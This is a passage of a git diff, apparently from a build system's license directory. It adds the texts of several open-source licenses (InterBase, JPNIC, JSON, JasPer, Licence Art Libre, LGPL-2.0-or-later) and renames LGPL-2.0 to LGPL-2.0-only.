+8.3. If You assert a patent infringement claim against Participant alleging that such Participant's Contributor Version directly or indirectly infringes any patent where such claim is resolved (such as by license or settlement) prior to the initiation of patent infringement litigation, then the reasonable value of the licenses granted by such Participant under Sections 2.1 or 2.2 shall be taken into account in determining the amount or value of any payment or license.
+
+8.4. In the event of termination under Sections 8.1 or 8.2 above, all end user license agreements (excluding distributors and resellers) which have been validly granted by You or any distributor hereunder prior to termination shall survive termination.
+
+9. LIMITATION OF LIABILITY.
+
+UNDER NO CIRCUMSTANCES AND UNDER NO LEGAL THEORY, WHETHER TORT (INCLUDING NEGLIGENCE), CONTRACT, OR OTHERWISE, SHALL YOU, THE INITIAL DEVELOPER, ANY OTHER CONTRIBUTOR, OR ANY DISTRIBUTOR OF COVERED CODE, OR ANY SUPPLIER OF ANY OF SUCH PARTIES, BE LIABLE TO ANY PERSON FOR ANY INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES OF ANY CHARACTER INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF GOODWILL, WORK STOPPAGE, COMPUTER FAILURE OR MALFUNCTION, OR ANY AND ALL OTHER COMMERCIAL DAMAGES OR LOSSES, EVEN IF SUCH PARTY SHALL HAVE BEEN INFORMED OF THE POSSIBILITY OF SUCH DAMAGES. THIS LIMITATION OF LIABILITY SHALL NOT APPLY TO LIABILITY FOR DEATH OR PERSONAL INJURY RESULTING FROM SUCH PARTY'S NEGLIGENCE TO THE EXTENT APPLICABLE LAW PROHIBITS SUCH LIMITATION. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THIS EXCLUSION AND LIMITATION MAY NOT APPLY TO YOU.
+
+10. U.S. GOVERNMENT END USERS.
+
+The Covered Code is a ''commercial item,'' as that term is defined in 48 C.F.R. 2.101 (Oct. 1995), consisting of ''commercial computer software'' and ''commercial computer software documentation,'' as such terms are used in 48 C.F.R. 12.212 (Sept. 1995). Consistent with 48 C.F.R. 12.212 and 48 C.F.R. 227.7202-1 through 227.7202-4 (June 1995), all U.S. Government End Users acquire Covered Code with only those rights set forth herein.
+
+11. MISCELLANEOUS.
+
+This License represents the complete agreement concerning subject matter hereof. If any provision of this License is held to be unenforceable, such provision shall be reformed only to the extent necessary to make it enforceable. This License shall be governed by California law provisions (except to the extent applicable law, if any, provides otherwise), excluding its conflict-of-law provisions. With respect to disputes in which at least one party is a citizen of, or an entity chartered or registered to do business in the United States of America, any litigation relating to this License shall be subject to the jurisdiction of the Federal Courts of the Northern District of California, with venue lying in Santa Clara County, California, with the losing party responsible for costs, including without limitation, court costs and reasonable attorneys' fees and expenses. The application of the United Nations Convention on Contracts for the International Sale of Goods is expressly excluded. Any law or regulation which provides that the language of a contract shall be construed against the drafter shall not apply to this License.
+
+12. RESPONSIBILITY FOR CLAIMS.
+
+As between Initial Developer and the Contributors, each party is responsible for claims and damages arising, directly or indirectly, out of its utilization of rights under this License and You agree to work with Initial Developer and Contributors to distribute such responsibility on an equitable basis. Nothing herein is intended or shall be deemed to constitute any admission of liability.
+
+13. MULTIPLE-LICENSED CODE.
+
+Initial Developer may designate portions of the Covered Code as "Multiple-Licensed". "Multiple-Licensed" means that the Initial Developer permits you to utilize portions of the Covered Code under Your choice of the NPL or the alternative licenses, if any, specified by the Initial Developer in the file described in Exhibit A.
+
+EXHIBIT A - InterBase Public License.
+
+``The contents of this file are subject to the Interbase Public License Version 1.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.Interbase.com/IPL.html
+
+Software distributed under the License is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License for the specific language governing rights and limitations under the License.
+
+The Original Code was created by InterBase Software Corp and its successors.
+
+Portions created by Borland/Inprise are Copyright (C) Borland/Inprise. All Rights Reserved.
+
+Contributor(s): ______________________________________.
+
+AMENDMENTS
+
+I. InterBase and logo. This License does not grant any rights to use the trademarks "Interbase'', "Java" or "JavaScript" even if such marks are included in the Original Code or Modifications.
+
+II. Trademark Usage.
+
+II.1. Advertising Materials. All advertising materials mentioning features or use of the covered Code must display the following acknowledgement: "This product includes software developed by Borland Software Corp. "
+
+II.2. Endorsements. The names "InterBase," "ISC," and "IB" must not be used to endorse or promote Contributor Versions or Larger Works without the prior written permission of Interbase.
+
+II.3. Product Names. Contributor Versions and Larger Works may not be called "InterBase" or "Interbase" nor may the word "InterBase" appear in their names without the prior written permission of Interbase.
diff --git a/meta/files/common-licenses/JPNIC b/meta/files/common-licenses/JPNIC
new file mode 100644
index 0000000000..6cc1d094c8
--- /dev/null
+++ b/meta/files/common-licenses/JPNIC
@@ -0,0 +1,40 @@
+Copyright (c) 2000-2002 Japan Network Information Center. All rights reserved.
+
+By using this file, you agree to the terms and conditions set forth bellow.
+
+ LICENSE TERMS AND CONDITIONS
+
+The following License Terms and Conditions apply, unless a different
+license is obtained from Japan Network Information Center ("JPNIC"),
+a Japanese association, Kokusai-Kougyou-Kanda Bldg 6F, 2-3-4 Uchi-Kanda,
+Chiyoda-ku, Tokyo 101-0047, Japan.
+
+1. Use, Modification and Redistribution (including distribution of any
+ modified or derived work) in source and/or binary forms is permitted
+ under this License Terms and Conditions.
+
+2. Redistribution of source code must retain the copyright notices as they
+ appear in each source code file, this License Terms and Conditions.
+
+3. Redistribution in binary form must reproduce the Copyright Notice,
+ this License Terms and Conditions, in the documentation and/or other
+ materials provided with the distribution. For the purposes of binary
+ distribution the "Copyright Notice" refers to the following language:
+ "Copyright (c) 2000-2002 Japan Network Information Center. All rights
+ reserved."
+
+4. The name of JPNIC may not be used to endorse or promote products
+ derived from this Software without specific prior written approval of
+ JPNIC.
+
+5. Disclaimer/Limitation of Liability: THIS SOFTWARE IS PROVIDED BY JPNIC
+ "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
+ PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL JPNIC BE LIABLE
+ FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
+ SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
+ BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
+ WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
+ ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
diff --git a/meta/files/common-licenses/JSON b/meta/files/common-licenses/JSON
new file mode 100644
index 0000000000..e29500b0e2
--- /dev/null
+++ b/meta/files/common-licenses/JSON
@@ -0,0 +1,11 @@
+JSON License
+
+Copyright (c) 2002 JSON.org
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
+
+The Software shall be used for Good, not Evil.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/meta/files/common-licenses/JasPer-2.0 b/meta/files/common-licenses/JasPer-2.0
new file mode 100644
index 0000000000..93d11287d4
--- /dev/null
+++ b/meta/files/common-licenses/JasPer-2.0
@@ -0,0 +1,17 @@
+JasPer License Version 2.0
+
+Copyright (c) 2001-2006 Michael David Adams
+Copyright (c) 1999-2000 Image Power, Inc.
+Copyright (c) 1999-2000 The University of British Columbia
+
+All rights reserved.
+
+Permission is hereby granted, free of charge, to any person (the "User") obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+
+1. The above copyright notices and this permission notice (which includes the disclaimer below) shall be included in all copies or substantial portions of the Software.
+
+2. The name of a copyright holder shall not be used to endorse or promote products derived from the Software without specific prior written permission.
+
+THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS LICENSE. NO USE OF THE SOFTWARE IS AUTHORIZED HEREUNDER EXCEPT UNDER THIS DISCLAIMER. THE SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS
+"AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF THIRD PARTY RIGHTS. IN NO
+EVENT SHALL THE COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, OR ANY SPECIAL INDIRECT OR CONSEQUENTIAL DAMAGES, OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. NO ASSURANCES ARE PROVIDED BY THE COPYRIGHT HOLDERS THAT THE SOFTWARE DOES NOT INFRINGE THE PATENT OR OTHER INTELLECTUAL PROPERTY RIGHTS OF ANY OTHER ENTITY. EACH COPYRIGHT HOLDER DISCLAIMS ANY LIABILITY TO THE USER FOR CLAIMS BROUGHT BY ANY OTHER ENTITY BASED ON INFRINGEMENT OF INTELLECTUAL PROPERTY RIGHTS OR OTHERWISE. AS A CONDITION TO EXERCISING THE RIGHTS GRANTED HEREUNDER, EACH USER HEREBY ASSUMES SOLE RESPONSIBILITY TO SECURE ANY OTHER INTELLECTUAL PROPERTY RIGHTS NEEDED, IF ANY. THE SOFTWARE IS NOT FAULT-TOLERANT AND IS NOT INTENDED FOR USE IN MISSION-CRITICAL SYSTEMS, SUCH AS THOSE USED IN THE OPERATION OF NUCLEAR FACILITIES, AIRCRAFT NAVIGATION OR COMMUNICATION SYSTEMS, AIR TRAFFIC CONTROL SYSTEMS, DIRECT LIFE SUPPORT MACHINES, OR WEAPONS SYSTEMS, IN WHICH THE FAILURE OF THE SOFTWARE OR SYSTEM COULD LEAD DIRECTLY TO DEATH, PERSONAL INJURY, OR SEVERE PHYSICAL OR ENVIRONMENTAL DAMAGE ("HIGH RISK ACTIVITIES"). THE COPYRIGHT HOLDERS SPECIFICALLY DISCLAIM ANY EXPRESS OR IMPLIED WARRANTY OF FITNESS FOR HIGH RISK ACTIVITIES.
diff --git a/meta/files/common-licenses/LAL-1.2 b/meta/files/common-licenses/LAL-1.2
new file mode 100644
index 0000000000..b8907ab6ff
--- /dev/null
+++ b/meta/files/common-licenses/LAL-1.2
@@ -0,0 +1,67 @@
+Licence Art Libre
+[ Copyleft Attitude ]
+
+Version 1.2
+
+Préambule :
+
+Avec cette Licence Art Libre, l’autorisation est donnée de copier, de diffuser et de transformer librement les oeuvres dans le respect des droits de l’auteur.
+
+Loin d’ignorer les droits de l’auteur, cette licence les reconnaît et les protège. Elle en reformule le principe en permettant au public de faire un usage créatif des oeuvres d’art.
+Alors que l’usage fait du droit de la propriété littéraire et artistique conduit à restreindre l’accès du public à l’oeuvre, la Licence Art Libre a pour but de le favoriser.
+L’intention est d’ouvrir l’accès et d’autoriser l’utilisation des ressources d’une oeuvre par le plus grand nombre. En avoir jouissance pour en multiplier les réjouissances, créer de nouvelles conditions de création pour amplifier les possibilités de création. Dans le respect des auteurs avec la reconnaissance et la défense de leur droit moral.
+
+En effet, avec la venue du numérique, l’invention de l’internet et des logiciels libres, un nouveau mode de création et de production est apparu. Il est aussi l’amplification de ce qui a été expérimenté par nombre d’artistes contemporains.
+Le savoir et la création sont des ressources qui doivent demeurer libres pour être encore véritablement du savoir et de la création. C’est à dire rester une recherche fondamentale qui ne soit pas directement liée à une application concrète. Créer c’est découvrir l’inconnu, c’est inventer le réel avant tout souci de réalisme.
+Ainsi, l’objet de l’art n’est pas confondu avec l’objet d’art fini et défini comme tel. C’est la raison essentielle de cette Licence Art Libre : promouvoir et protéger des pratiques artistiques libérées des seules règles de l’économie de marché.
+
+DÉFINITIONS
+
+– L’oeuvre :il s’agit d’une oeuvre commune qui comprend l’oeuvre originelle ainsi que toutes les contributions postérieures (les originaux conséquents et les copies). Elle est créée à l’initiative de l’auteur originel qui par cette licence définit les conditions selon lesquelles les contributions sont faites.
+
+– L’oeuvre originelle :c’est-à-dire l’oeuvre créée par l’initiateur de l’oeuvre commune dont les copies vont être modifiées par qui le souhaite.
+
+– Les oeuvres conséquentes :c’est-à-dire les propositions des auteurs qui contribuent à la formation de l’oeuvre en faisant usage des droits de reproduction, de diffusion et de modification que leur confère la licence.
+
+– Original (source ou ressource de l’oeuvre) :exemplaire daté de l’oeuvre, de sa définition, de sa partition ou de son programme que l’auteur présente comme référence pour toutes actualisations, interprétations, copies ou reproductions ultérieures.
+
+– Copie :toute reproduction d’un original au sens de cette licence.
+
+– Auteur de l’oeuvre originelle :c’est la personne qui a créé l’oeuvre à l’origine d’une arborescence de cette oeuvre modifiée. Par cette licence, l’auteur détermine les conditions dans lesquelles ce travail se fait.
+
+– Contributeur :toute personne qui contribue à la création de l’oeuvre. Il est l’auteur d’une oeuvre originale résultant de la modification d’une copie de l’oeuvre originelle ou de la modification d’une copie d’une oeuvre conséquente.
+
+1. OBJET
+Cette licence a pour objet de définir les conditions selon lesquelles vous pouvez jouir librement de cette oeuvre.
+
+2. L’ÉTENDUE DE LA JOUISSANCE
+Cette oeuvre est soumise au droit d’auteur, et l’auteur par cette licence vous indique quelles sont vos libertés pour la copier, la diffuser et la modifier:
+
+2.1 LA LIBERTÉ DE COPIER (OU DE REPRODUCTION)
+Vous avez la liberté de copier cette oeuvre pour un usage personnel, pour vos amis, ou toute autre personne et quelque soit la technique employée.
+
+2.2 LA LIBERTÉ DE DIFFUSER, D’INTERPRÉTER (OU DE REPRÉSENTATION)
+Vous pouvez diffuser librement les copies de ces oeuvres, modifiées ou non, quel que soit le support, quel que soit le lieu, à titre onéreux ou gratuit si vous respectez toutes les conditions suivantes:
+ – joindre aux copies, cette licence à l’identique, ou indiquer précisément où se trouve la licence, – indiquer au destinataire le nom de l’auteur des originaux, – indiquer au destinataire où il pourra avoir accès aux originaux (originels et/ou conséquents). L’auteur de l’original pourra, s’il le souhaite, vous autoriser à diffuser l’original dans les mêmes conditions que les copies.
+
+2.3 LA LIBERTÉ DE MODIFIER
+Vous avez la liberté de modifier les copies des originaux (originels et conséquents), qui peuvent être partielles ou non, dans le respect des conditions prévues à l’article 2.2 en cas de diffusion (ou représentation) de la copie modifiée. L’auteur de l’original pourra, s’il le souhaite, vous autoriser à modifier l’original dans les mêmes conditions que les copies.
+
+3. L’INCORPORATION DE L’OEUVRE
+Tous les éléments de cette oeuvre doivent demeurer libres, c’est pourquoi il ne vous est pas permis d’intégrer les originaux (originels et conséquents) dans une autre oeuvre qui ne serait pas soumise à cette licence.
+
+4. VOS DROITS D’AUTEUR
+Cette licence n’a pas pour objet de nier vos droits d’auteur sur votre contribution. En choisissant de contribuer à l’évolution de cette oeuvre, vous acceptez seulement d’offrir aux autres les mêmes droits sur votre contribution que ceux qui vous ont été accordés par cette licence.
+
+5. LA DURÉE DE LA LICENCE
+Cette licence prend effet dès votre acceptation de ses dispositions. Le fait de copier, de diffuser, ou de modifier l’oeuvre constitue une acception tacite. Cette licence a pour durée la durée des droits d’auteur attachés à l’oeuvre. Si vous ne respectez pas les termes de cette licence, vous perdez automatiquement les droits qu’elle vous confère. Si le régime juridique auquel vous êtes soumis ne vous permet pas de respecter les termes de cette licence, vous ne pouvez pas vous prévaloir des libertés qu’elle confère.
+
+6. LES DIFFÉRENTES VERSIONS DE LA LICENCE
+Cette licence pourra être modifiée régulièrement, en vue de son amélioration, par ses auteurs (les acteurs du mouvement « copyleft attitude ») sous la forme de nouvelles versions numérotées.
+Vous avez toujours le choix entre vous contenter des dispositions contenues dans la version sous laquelle la copie vous a été communiquée ou alors, vous prévaloir des dispositions d’une des versions ultérieures.
+
+7. LES SOUS-LICENCES
+Les sous licences ne sont pas autorisées par la présente. Toute personne qui souhaite bénéficier des libertés qu’elle confère sera liée directement à l’auteur de l’oeuvre originelle.
+
+8. LA LOI APPLICABLE AU CONTRAT
+Cette licence est soumise au droit français.
diff --git a/meta/files/common-licenses/LAL-1.3 b/meta/files/common-licenses/LAL-1.3
new file mode 100644
index 0000000000..ca1a447346
--- /dev/null
+++ b/meta/files/common-licenses/LAL-1.3
@@ -0,0 +1,88 @@
+Licence Art Libre 1.3 (LAL 1.3)
+
+Préambule :
+
+Avec la Licence Art Libre, l’autorisation est donnée de copier, de diffuser et de transformer librement les œuvres dans le respect des droits de l’auteur.
+
+Loin d’ignorer ces droits, la Licence Art Libre les reconnaît et les protège. Elle en reformule l’exercice en permettant à tout un chacun de faire un usage créatif des productions de l’esprit quels que soient leur genre et leur forme d’expression.
+
+Si, en règle générale, l’application du droit d’auteur conduit à restreindre l’accès aux œuvres de l’esprit, la Licence Art Libre, au contraire, le favorise. L’intention est d’autoriser l’utilisation des ressources d’une œuvre ; créer de nouvelles conditions de création pour amplifier les possibilités de création. La Licence Art Libre permet d’avoir jouissance des œuvres tout en reconnaissant les droits et les responsabilités de chacun.
+
+Avec le développement du numérique, l’invention d’internet et des logiciels libres, les modalités de création ont évolué : les productions de l’esprit s’offrent naturellement à la circulation, à l’échange et aux transformations. Elles se prêtent favorablement à la réalisation d’œuvres communes que chacun peut augmenter pour l’avantage de tous.
+
+C’est la raison essentielle de la Licence Art Libre : promouvoir et protéger ces productions de l’esprit selon les principes du copyleft : liberté d’usage, de copie, de diffusion, de transformation et interdiction d’appropriation exclusive.
+
+Définitions :
+
+Nous désignons par « œuvre », autant l’œuvre initiale, les œuvres conséquentes, que l’œuvre commune telles que définies ci-après :
+
+L’œuvre commune :Il s’agit d’une œuvre qui comprend l’œuvre initiale ainsi que toutes les contributions postérieures (les originaux conséquents et les copies). Elle est créée à l’initiative de l’auteur initial qui par cette licence définit les conditions selon lesquelles les contributions sont faites.
+
+L’œuvre initiale :C’est-à-dire l’œuvre créée par l’initiateur de l’œuvre commune dont les copies vont être modifiées par qui le souhaite.
+
+Les œuvres conséquentes :C’est-à-dire les contributions des auteurs qui participent à la formation de l’œuvre commune en faisant usage des droits de reproduction, de diffusion et de modification que leur confère la licence.
+
+Originaux (sources ou ressources de l’œuvre) :Chaque exemplaire daté de l’œuvre initiale ou conséquente que leurs auteurs présentent comme référence pour toutes actualisations, interprétations, copies ou reproductions ultérieures.
+
+Copie :Toute reproduction d’un original au sens de cette licence.
+
+1- OBJET.
+Cette licence a pour objet de définir les conditions selon lesquelles vous pouvez jouir librement de l’œuvre.
+
+2. L’ÉTENDUE DE LA JOUISSANCE.
+Cette œuvre est soumise au droit d’auteur, et l’auteur par cette licence vous indique quelles sont vos libertés pour la copier, la diffuser et la modifier.
+
+2.1 LA LIBERTÉ DE COPIER (OU DE REPRODUCTION).
+Vous avez la liberté de copier cette œuvre pour vous, vos amis ou toute autre personne, quelle que soit la technique employée.
+
+2.2 LA LIBERTÉ DE DIFFUSER (INTERPRÉTER, REPRÉSENTER, DISTRIBUER).
+Vous pouvez diffuser librement les copies de ces œuvres, modifiées ou non, quel que soit le support, quel que soit le lieu, à titre onéreux ou gratuit, si vous respectez toutes les conditions suivantes :
+
+ 1. joindre aux copies cette licence à l’identique ou indiquer précisément où se trouve la licence ;
+ 2. indiquer au destinataire le nom de chaque auteur des originaux, y compris le vôtre si vous avez modifié l’œuvre ;
+ 3. indiquer au destinataire où il pourrait avoir accès aux originaux (initiaux et/ou conséquents).
+
+Les auteurs des originaux pourront, s’ils le souhaitent, vous autoriser à diffuser l’original dans les mêmes conditions que les copies.
+
+2.3 LA LIBERTÉ DE MODIFIER.
+Vous avez la liberté de modifier les copies des originaux (initiaux et conséquents) dans le respect des conditions suivantes :
+
+ 1. celles prévues à l’article 2.2 en cas de diffusion de la copie modifiée ;
+ 2. indiquer qu’il s’agit d’une œuvre modifiée et, si possible, la nature de la modification ;
+ 3. diffuser cette œuvre conséquente avec la même licence ou avec toute licence compatible ;
+ 4. Les auteurs des originaux pourront, s’ils le souhaitent, vous autoriser à modifier l’original dans les mêmes conditions que les copies.
+
+3. DROITS CONNEXES.
+Les actes donnant lieu à des droits d’auteur ou des droits voisins ne doivent pas constituer un obstacle aux libertés conférées par cette licence. C’est pourquoi, par exemple, les interprétations doivent être soumises à la même licence ou une licence compatible. De même, l’intégration de l’œuvre à une base de données, une compilation ou une anthologie ne doit pas faire obstacle à la jouissance de l’œuvre telle que définie par cette licence.
+
+4. L’ INTÉGRATION DE L’ŒUVRE.
+Toute intégration de cette œuvre à un ensemble non soumis à la LAL doit assurer l’exercice des libertés conférées par cette licence.
+Si l’œuvre n’est plus accessible indépendamment de l’ensemble, alors l’intégration n’est possible qu’à condition que l’ensemble soit soumis à la LAL ou une licence compatible.
+
+5. CRITÈRES DE COMPATIBILITÉ.
+Une licence est compatible avec la LAL si et seulement si :
+
+ 1. elle accorde l’autorisation de copier, diffuser et modifier des copies de l’œuvre, y compris à des fins lucratives, et sans autres restrictions que celles qu’impose le respect des autres critères de compatibilité ;
+ 2. elle garantit la paternité de l’œuvre et l’accès aux versions antérieures de l’œuvre quand cet accès est possible ;
+ 3. elle reconnaît la LAL également compatible (réciprocité) ;
+ 4. elle impose que les modifications faites sur l’œuvre soient soumises à la même licence ou encore à une licence répondant aux critères de compatibilité posés par la LAL.
+
+6. VOS DROITS INTELLECTUELS.
+La LAL n’a pas pour objet de nier vos droits d’auteur sur votre contribution ni vos droits connexes. En choisissant de contribuer à l’évolution de cette œuvre commune, vous acceptez seulement d’offrir aux autres les mêmes autorisations sur votre contribution que celles qui vous ont été accordées par cette licence. Ces autorisations n’entraînent pas un dessaisissement de vos droits intellectuels.
+
+7. VOS RESPONSABILITÉS.
+La liberté de jouir de l’œuvre tel que permis par la LAL (liberté de copier, diffuser, modifier) implique pour chacun la responsabilité de ses propres faits.
+
+8. LA DURÉE DE LA LICENCE.
+Cette licence prend effet dès votre acceptation de ses dispositions. Le fait de copier, de diffuser, ou de modifier l’œuvre constitue une acceptation tacite.
+Cette licence a pour durée la durée des droits d’auteur attachés à l’œuvre. Si vous ne respectez pas les termes de cette licence, vous perdez automatiquement les droits qu’elle vous confère. Si le régime juridique auquel vous êtes soumis ne vous permet pas de respecter les termes de cette licence, vous ne pouvez pas vous prévaloir des libertés qu’elle confère.
+
+9. LES DIFFÉRENTES VERSIONS DE LA LICENCE.
+Cette licence pourra être modifiée régulièrement, en vue de son amélioration, par ses auteurs (les acteurs du mouvement Copyleft Attitude) sous la forme de nouvelles versions numérotées.
+Vous avez toujours le choix entre vous contenter des dispositions contenues dans la version de la LAL sous laquelle la copie vous a été communiquée ou alors, vous prévaloir des dispositions d’une des versions ultérieures.
+
+10. LES SOUS-LICENCES.
+Les sous-licences ne sont pas autorisées par la présente. Toute personne qui souhaite bénéficier des libertés qu’elle confère sera liée directement aux auteurs de l’œuvre commune.
+
+11. LE CONTEXTE JURIDIQUE.
+Cette licence est rédigée en référence au droit français et à la Convention de Berne relative au droit d’auteur.
diff --git a/meta/files/common-licenses/LGPL-2.0 b/meta/files/common-licenses/LGPL-2.0-only
index 5931d439b4..5931d439b4 100644
--- a/meta/files/common-licenses/LGPL-2.0
+++ b/meta/files/common-licenses/LGPL-2.0-only
diff --git a/meta/files/common-licenses/LGPL-2.0-or-later b/meta/files/common-licenses/LGPL-2.0-or-later
new file mode 100644
index 0000000000..5c96471aaf
--- /dev/null
+++ b/meta/files/common-licenses/LGPL-2.0-or-later
@@ -0,0 +1,446 @@
+GNU LIBRARY GENERAL PUBLIC LICENSE
+
+Version 2, June 1991 Copyright (C) 1991 Free Software Foundation, Inc.
+
+51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+
+Everyone is permitted to copy and distribute verbatim copies of this license
+document, but changing it is not allowed.
+
+[This is the first released version of the library GPL. It is numbered 2 because
+it goes with version 2 of the ordinary GPL.]
+
+Preamble
+
+The licenses for most software are designed to take away your freedom to share
+and change it. By contrast, the GNU General Public Licenses are intended to
+guarantee your freedom to share and change free software--to make sure the
+software is free for all its users.
+
+This license, the Library General Public License, applies to some specially
+designated Free Software Foundation software, and to any other libraries whose
+authors decide to use it. You can use it for your libraries, too.
+
+When we speak of free software, we are referring to freedom, not price. Our
+General Public Licenses are designed to make sure that you have the freedom
+to distribute copies of free software (and charge for this service if you
+wish), that you receive source code or can get it if you want it, that you
+can change the software or use pieces of it in new free programs; and that
+you know you can do these things.
+
+To protect your rights, we need to make restrictions that forbid anyone to
+deny you these rights or to ask you to surrender the rights. These restrictions
+translate to certain responsibilities for you if you distribute copies of
+the library, or if you modify it.
+
+For example, if you distribute copies of the library, whether gratis or for
+a fee, you must give the recipients all the rights that we gave you. You must
+make sure that they, too, receive or can get the source code. If you link
+a program with the library, you must provide complete object files to the
+recipients so that they can relink them with the library, after making changes
+to the library and recompiling it. And you must show them these terms so they
+know their rights.
+
+Our method of protecting your rights has two steps: (1) copyright the library,
+and (2) offer you this license which gives you legal permission to copy, distribute
+and/or modify the library.
+
+Also, for each distributor's protection, we want to make certain that everyone
+understands that there is no warranty for this free library. If the library
+is modified by someone else and passed on, we want its recipients to know
+that what they have is not the original version, so that any problems introduced
+by others will not reflect on the original authors' reputations.
+
+Finally, any free program is threatened constantly by software patents. We
+wish to avoid the danger that companies distributing free software will individually
+obtain patent licenses, thus in effect transforming the program into proprietary
+software. To prevent this, we have made it clear that any patent must be licensed
+for everyone's free use or not licensed at all.
+
+Most GNU software, including some libraries, is covered by the ordinary GNU
+General Public License, which was designed for utility programs. This license,
+the GNU Library General Public License, applies to certain designated libraries.
+This license is quite different from the ordinary one; be sure to read it
+in full, and don't assume that anything in it is the same as in the ordinary
+license.
+
+The reason we have a separate public license for some libraries is that they
+blur the distinction we usually make between modifying or adding to a program
+and simply using it. Linking a program with a library, without changing the
+library, is in some sense simply using the library, and is analogous to running
+a utility program or application program. However, in a textual and legal
+sense, the linked executable is a combined work, a derivative of the original
+library, and the ordinary General Public License treats it as such.
+
+Because of this blurred distinction, using the ordinary General Public License
+for libraries did not effectively promote software sharing, because most developers
+did not use the libraries. We concluded that weaker conditions might promote
+sharing better.
+
+However, unrestricted linking of non-free programs would deprive the users
+of those programs of all benefit from the free status of the libraries themselves.
+This Library General Public License is intended to permit developers of non-free
+programs to use free libraries, while preserving your freedom as a user of
+such programs to change the free libraries that are incorporated in them.
+(We have not seen how to achieve this as regards changes in header files,
+but we have achieved it as regards changes in the actual functions of the
+Library.) The hope is that this will lead to faster development of free libraries.
+
+The precise terms and conditions for copying, distribution and modification
+follow. Pay close attention to the difference between a "work based on the
+library" and a "work that uses the library". The former contains code derived
+from the library, while the latter only works together with the library.
+
+Note that it is possible for a library to be covered by the ordinary General
+Public License rather than by this special one.
+
+TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+0. This License Agreement applies to any software library which contains a
+notice placed by the copyright holder or other authorized party saying it
+may be distributed under the terms of this Library General Public License
+(also called "this License"). Each licensee is addressed as "you".
+
+A "library" means a collection of software functions and/or data prepared
+so as to be conveniently linked with application programs (which use some
+of those functions and data) to form executables.
+
+The "Library", below, refers to any such software library or work which has
+been distributed under these terms. A "work based on the Library" means either
+the Library or any derivative work under copyright law: that is to say, a
+work containing the Library or a portion of it, either verbatim or with modifications
+and/or translated straightforwardly into another language. (Hereinafter, translation
+is included without limitation in the term "modification".)
+
+"Source code" for a work means the preferred form of the work for making modifications
+to it. For a library, complete source code means all the source code for all
+modules it contains, plus any associated interface definition files, plus
+the scripts used to control compilation and installation of the library.
+
+Activities other than copying, distribution and modification are not covered
+by this License; they are outside its scope. The act of running a program
+using the Library is not restricted, and output from such a program is covered
+only if its contents constitute a work based on the Library (independent of
+the use of the Library in a tool for writing it). Whether that is true depends
+on what the Library does and what the program that uses the Library does.
+
+1. You may copy and distribute verbatim copies of the Library's complete source
+code as you receive it, in any medium, provided that you conspicuously and
+appropriately publish on each copy an appropriate copyright notice and disclaimer
+of warranty; keep intact all the notices that refer to this License and to
+the absence of any warranty; and distribute a copy of this License along with
+the Library.
+
+You may charge a fee for the physical act of transferring a copy, and you
+may at your option offer warranty protection in exchange for a fee.
+
+2. You may modify your copy or copies of the Library or any portion of it,
+thus forming a work based on the Library, and copy and distribute such modifications
+or work under the terms of Section 1 above, provided that you also meet all
+of these conditions:
+
+ a) The modified work must itself be a software library.
+
+b) You must cause the files modified to carry prominent notices stating that
+you changed the files and the date of any change.
+
+c) You must cause the whole of the work to be licensed at no charge to all
+third parties under the terms of this License.
+
+d) If a facility in the modified Library refers to a function or a table of
+data to be supplied by an application program that uses the facility, other
+than as an argument passed when the facility is invoked, then you must make
